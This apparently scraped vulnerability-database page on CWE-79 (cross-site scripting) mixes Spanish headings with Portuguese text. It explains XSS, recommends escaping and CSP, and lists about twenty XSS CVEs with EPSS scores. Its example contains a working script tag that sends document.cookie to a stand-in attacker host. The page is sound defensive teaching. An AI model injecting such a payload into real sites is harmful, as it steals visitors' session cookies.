Fallos del tipo CWE-79

30.663 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-3911—Reflected cross-site scripting (XSS) vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 allows an unauthenticated remoEPSS 3.8%CVE-2023-4119MEDIUMAcademy LMS courses cross site scriptingEPSS 3.8%CVE-2021-24389—FoodBakery < 2.2 - Reflected Cross-Site Scripting (XSS)EPSS 3.8%CVE-2020-25627—The moodlenetprofile user profile field required extra sanitizing to prevent a stored XSS risk. This affects versions 3.9 to 3.9.1. Fixed inEPSS 3.7%CVE-2022-0776MEDIUMCross-site Scripting (XSS) - DOM in hakimel/reveal.jsEPSS 3.7%CVE-2021-24387—Real Estate 7 < 3.1.1 - Reflected Cross-Site Scripting (XSS)EPSS 3.7%CVE-2018-5405—The Quest Kace K1000 Appliance is vulnerable to JavaScript injection.EPSS 3.6%CVE-2022-0901—Ad Inserter < 2.7.12 - Reflected Cross-Site ScriptingEPSS 3.6%CVE-2024-28090MEDIUMTechnicolor TC8715D TC8715D-01.EF.04.38.00-180405-S-FF9-D RSE-TC8717T devices allow a remote attacker within Wi-Fi proximity to conduct storEPSS 3.6%CVE-2026-41456MEDIUMBludit CMS Reflected XSS via Search PluginEPSS 3.5%CVE-2021-24498—Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)EPSS 3.5%CVE-2022-1163MEDIUMCross-site Scripting (XSS) - Stored in mineweb/minewebcmsEPSS 3.5%CVE-2021-22872—Revive Adserver before 5.1.0 is vulnerable to a reflected cross-site scripting (XSS) vulnerability via the publicly accessible afr.php delivEPSS 3.5%CVE-2021-24298—Simple Giveaways < 2.36.2 - Unauthenticated Reflected Cross-Site Scripting (XSS)EPSS 3.5%CVE-2022-22242MEDIUMJunos OS: Cross-site Scripting (XSS) vulnerability in J-WebEPSS 3.4%CVE-2018-6341MEDIUMReact applications which rendered to HTML using the ReactDOMServer API were not escaping user-supplied attribute names at render-time. That EPSS 3.4%CVE-2024-33113MEDIUMD-LINK DIR-845L <=v1.01KRb03 is vulnerable to Information disclosurey via bsc_sms_inbox.php.EPSS 3.4%CVE-2021-21043MEDIUMReflected Cross-site Scripting (XSS) on version-compare and page-compare toolsEPSS 3.4%CVE-2022-0201—Permalink Manager < 2.2.15 - Reflected Cross-Site ScriptingEPSS 3.4%CVE-2021-24495—Marmoset Viewer < 1.9.3 - Reflected Cross Site ScriptingEPSS 3.3%